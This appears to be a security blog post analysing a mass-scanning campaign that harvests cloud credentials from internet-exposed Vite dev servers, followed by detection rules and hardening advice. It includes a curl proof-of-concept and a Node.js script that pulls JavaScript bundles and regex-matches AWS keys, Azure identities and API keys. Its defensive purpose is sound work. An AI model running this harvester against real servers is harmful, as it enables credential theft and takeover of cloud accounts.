Originally published on satyamrastogi.com
Attackers are systematically scanning for exposed Vite dev servers to harvest AWS and Azure credentials. This post breaks down the attack chain, exploitation mechanics, and defensive countermeasures from an offensive security perspective.
Vite Dev Server Credential Harvesting: Mass Scanning for AWS/Azure Exfiltration
Executive Summary
A coordinated mass-scanning campaign is targeting internet-exposed Vite development servers to harvest cloud credentials and sensitive configurations. Vite, a modern JavaScript build tool with a built-in development server, is being weaponized as a reconnaissance and credential theft vector when exposed on public IPs without proper authentication controls.
From an attacker's perspective, this represents an exceptionally low-friction attack surface. Dev servers are stateful, typically run with elevated privileges in CI/CD pipelines, load environment variables containing plaintext credentials, and are often exposed because security controls are presumed to exist but haven't been validated. The campaign demonstrates how build infrastructure-specifically the blur between development and production environments-has become a primary attack vector.
The implications for defenders are severe: a single misconfigured dev server can leak AWS IAM credentials, Azure service principals, database connection strings, and API keys with minutes-to-hours latency before detection.
Attack Vector Analysis
Initial Reconnaissance and Mass Scanning
Attackers are conducting large-scale shodan/censys-style port scanning for Vite dev servers, typically on ports 5173 (default), 5174, or custom ports. The reconnaissance phase uses minimal resources-simple HTTP requests to identify the Vite dev server signature.
MITRE ATT&CK Mapping:
- T1595.002 (Active Scanning - Vulnerability Scanning): Mass port scanning for exposed dev infrastructure
- T1592 (Gather Victim Host Information): Enumeration of dev server configurations and exposed endpoints
Credential Exposure Vectors
Vite dev servers expose credentials through multiple mechanisms:
Environment Variable Leakage: Dev servers parse
.envand.env.localfiles, and these variables are often available through the Vite HMR (Hot Module Replacement) endpoint or bundled into client-side code in development mode.Source Map Exposure: Development builds generate
.js.mapfiles that expose source code, including hardcoded credentials, API endpoints, and authentication logic.API Endpoint Discovery: The dev server serves the entire application directory, allowing attackers to enumerate build artifacts, configuration files, and internal API documentation.
Hot Module Replacement (HMR) Abuse: The HMR websocket endpoint (
/__vite_ping) and related endpoints can be exploited to retrieve runtime state and module metadata.
MITRE ATT&CK Mapping:
-
T1552.001 (Unsecured Credentials - Credentials In Files): Plaintext credentials in
.envfiles - T1526 (Enumerate Cloud Resources): Discovery of AWS and Azure credentials through exposed dev environments
- T1083 (File and Directory Discovery): Crawling dev server file structure
Technical Deep Dive
Exploitation Mechanics
A minimal proof-of-concept for harvesting credentials from an exposed Vite dev server:
# Step 1: Identify Vite dev server
curl -s http://target:5173/ | grep -i vite
# Step 2: Extract source maps (exposes source code and credentials)
curl -s http://target:5173/src/main.ts.js.map | jq .
# Step 3: Parse environment variables from bundled code
curl -s http://target:5173/index.html | grep -oP 'process\.env\.[A-Z_]+' | sort -u
# Step 4: Access dev server endpoints for AWS/Azure SDK initialization
curl -s http://target:5173/api/config
curl -s http://target:5173/config.js
# Step 5: Extract HMR metadata for runtime state
curl -s http://target:5173/__vite_ping
More sophisticated attackers automate this via Node.js to parse bundled JavaScript and extract credential patterns:
const axios = require('axios');
const targetUrl = 'http://exposed-vite:5173';
// Fetch and parse main bundle
const response = await axios.get(`${targetUrl}/index.html`);
const bundleMatch = response.data.match(/src="\/(.*?\.js)"/g);
// Extract each bundle file
for (const bundle of bundleMatch) {
const bundleUrl = bundle.replace(/src="\/(.*?)"/, '$1');
const bundleContent = await axios.get(`${targetUrl}/${bundleUrl}`);
// Regex patterns for common credential types
const awsPattern = /AKIA[0-9A-Z]{16}/g;
const azurePattern = /[a-zA-Z0-9_-]*@[a-zA-Z0-9_-]*\.onmicrosoft\.com/g;
const apiKeyPattern = /api[_-]?key[\s]*[=:][\s]*['"]([a-zA-Z0-9_-]+)['"]/gi;
// Harvest credentials
const credentials = {
aws: bundleContent.data.match(awsPattern) || [],
azure: bundleContent.data.match(azurePattern) || [],
apiKeys: bundleContent.data.match(apiKeyPattern) || []
};
console.log(credentials);
}
Real-World Attack Flow
- Mass scan for ports 5173-5180 across target CIDR ranges or known cloud provider IP ranges
- Identify Vite signatures via HTTP headers or
index.htmlcontent - Fetch
index.htmland enumerate bundle paths - Download
.js.mapfiles (typically uncompressed and verbose) - Extract AWS credential patterns (AKIA prefix for access keys, AWS_SECRET_ACCESS_KEY patterns)
- Parse Azure service principal credentials and client secrets
- Test credentials against AWS STS API:
sts:GetCallerIdentityor Azure Graph API - Immediately begin lateral movement within compromised cloud accounts
This entire chain can be automated and executed at scale. A single exposed Vite dev server can expose production AWS credentials with full S3, RDS, EC2, and Lambda access.
Detection Strategies
Network-Level Detection
Blue teams should implement these detection mechanisms:
Port Monitoring: Alert on unexpected open ports 5173-5180, particularly if originating from external ASNs or non-whitelisted IP ranges.
HTTP Signature Detection:
Alert on HTTP responses containing:
- "vite" in Server or X-Powered-By headers
- /__vite_ping or /__vite_hmr endpoints
- /.map file requests (source map enumeration)
- /node_modules requests from external IPs
-
Credential Pattern Detection: Monitor VPC flow logs and CloudTrail for:
- Unexpected STS:GetCallerIdentity calls from non-standard IPs
- Credential usage from IPs matching known scanner ASNs
- AWS access keys first seen in non-dev environments
Host-Level Detection
Process Monitoring: Alert if Node.js dev server processes execute on production systems or listen on non-loopback interfaces.
File Access Logging: Monitor for
.envand.env.localfile reads by Node.js processes not running in sandboxed dev containers.Network Egress Monitoring: Track outbound connections from Vite dev servers; legitimate dev servers should have minimal external connectivity.
Application-Level Detection
-
Source Map Requests: Alert on
.js.mapfile requests from non-localhost IPs. - Credential Scanning: Use tools like TruffleHog or custom YARA rules to detect credentials in bundled JavaScript.
-
HMR Endpoint Access: Log and alert on
/__vite_hmrwebsocket connections from external IPs.
Mitigation & Hardening
Development Environment Isolation
- Network Segmentation: Run Vite dev servers only on loopback interfaces (127.0.0.1:5173) or within isolated VPCs. Never expose dev servers to the internet.
# Vulnerable configuration
vite --host 0.0.0.0 --port 5173
# Hardened configuration
vite --host 127.0.0.1 --port 5173
- Container-Level Isolation: If dev servers must be remotely accessible, run them in ephemeral containers with network policies restricting inbound traffic to specific IPs.
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: vite-dev-isolation
spec:
podSelector:
matchLabels:
app: vite-dev
ingress:
- from:
- podSelector:
matchLabels:
role: developer
ports:
- protocol: TCP
port: 5173
- VPC and Security Group Hardening: Restrict inbound traffic to Vite dev servers using security groups, NACLs, and WAF rules. Use CISA guidelines for network segmentation.
Credential Management
-
Eliminate Plaintext Secrets: Replace
.envfiles with IAM roles for EC2, ECS, Lambda execution roles, or Azure Managed Identities.
// Vulnerable: credentials in .env
const AWS_ACCESS_KEY_ID = process.env.AWS_ACCESS_KEY_ID;
// Hardened: use IAM roles
const AWS = require('aws-sdk');
// Automatically uses EC2 instance role or ECS task role
Rotate Credentials: Implement automatic credential rotation (every 30-90 days) for any credentials that must be stored in dev environments.
Audit Environment Variables: Use tools like OWASP dependency-check to identify hardcoded secrets in dependencies and build artifacts.
Build Pipeline Security
-
Source Map Exclusion: Disable source maps in production builds and exclude
.mapfiles from deployment packages.
// vite.config.js
export default {
build: {
sourcemap: process.env.NODE_ENV === 'development',
rollupOptions: {
output: {
manualChunks: (id) => {
if (id.includes('node_modules')) return 'vendor';
}
}
}
}
};
Dev Dependencies Removal: Ensure build pipelines strip dev dependencies before deployment. Use npm ci with --production flag.
CI/CD Environment Hardening: Run builds in ephemeral containers with minimal network access. Implement least-privilege service accounts for CI/CD systems.
Monitoring and Incident Response
Real-Time Alerting: Implement SIEM rules to alert on Vite dev server exposure with 1-hour escalation SLA. Integrate with Slack/PagerDuty for immediate response.
Credential Recon Playbook: Define incident response procedures for exposed credentials including immediate rotation, access key disabling, and blast radius analysis.
Supply Chain Visibility: Map all dev servers across your infrastructure using MITRE ATT&CK's T1526 (Enumerate Cloud Resources) detection controls.
Key Takeaways
Dev-to-Prod Collapse: Attackers are weaponizing the traditional dev/prod boundary collapse. A single exposed dev server with cloud credentials is equivalent to compromised cloud account access.
Low Friction, High Payoff: This attack requires minimal sophistication-port scanning + credential pattern matching. The payoff is production cloud account access, making this an extremely attractive vector for mass campaigns.
Build Artifacts as Threat Surface: Vite's HMR, source maps, and bundled configurations create an attack surface that defenders often don't account for. Similar vulnerabilities exist in webpack dev servers, Next.js dev mode, and other build tools. See our analysis of patch automation weaponization for how build infrastructure intersects with rapid deployment risks.
Credentials in Bundles: Modern JavaScript build tools often inadvertently bundle environment variables and configuration into client-side code. This is fundamentally insecure and should be eliminated through IAM role-based authentication.
Network Perimeter is Dead: Relying on firewall rules to protect dev servers is insufficient. Implement zero-trust principles: require authentication/authorization even for internal dev services, and assume external exposure is inevitable.
For deeper context on how cloud infrastructure becomes attack surface, review our cloud asset security analysis which covers similar reconnaissance patterns in Azure and AWS environments.
Top comments (0)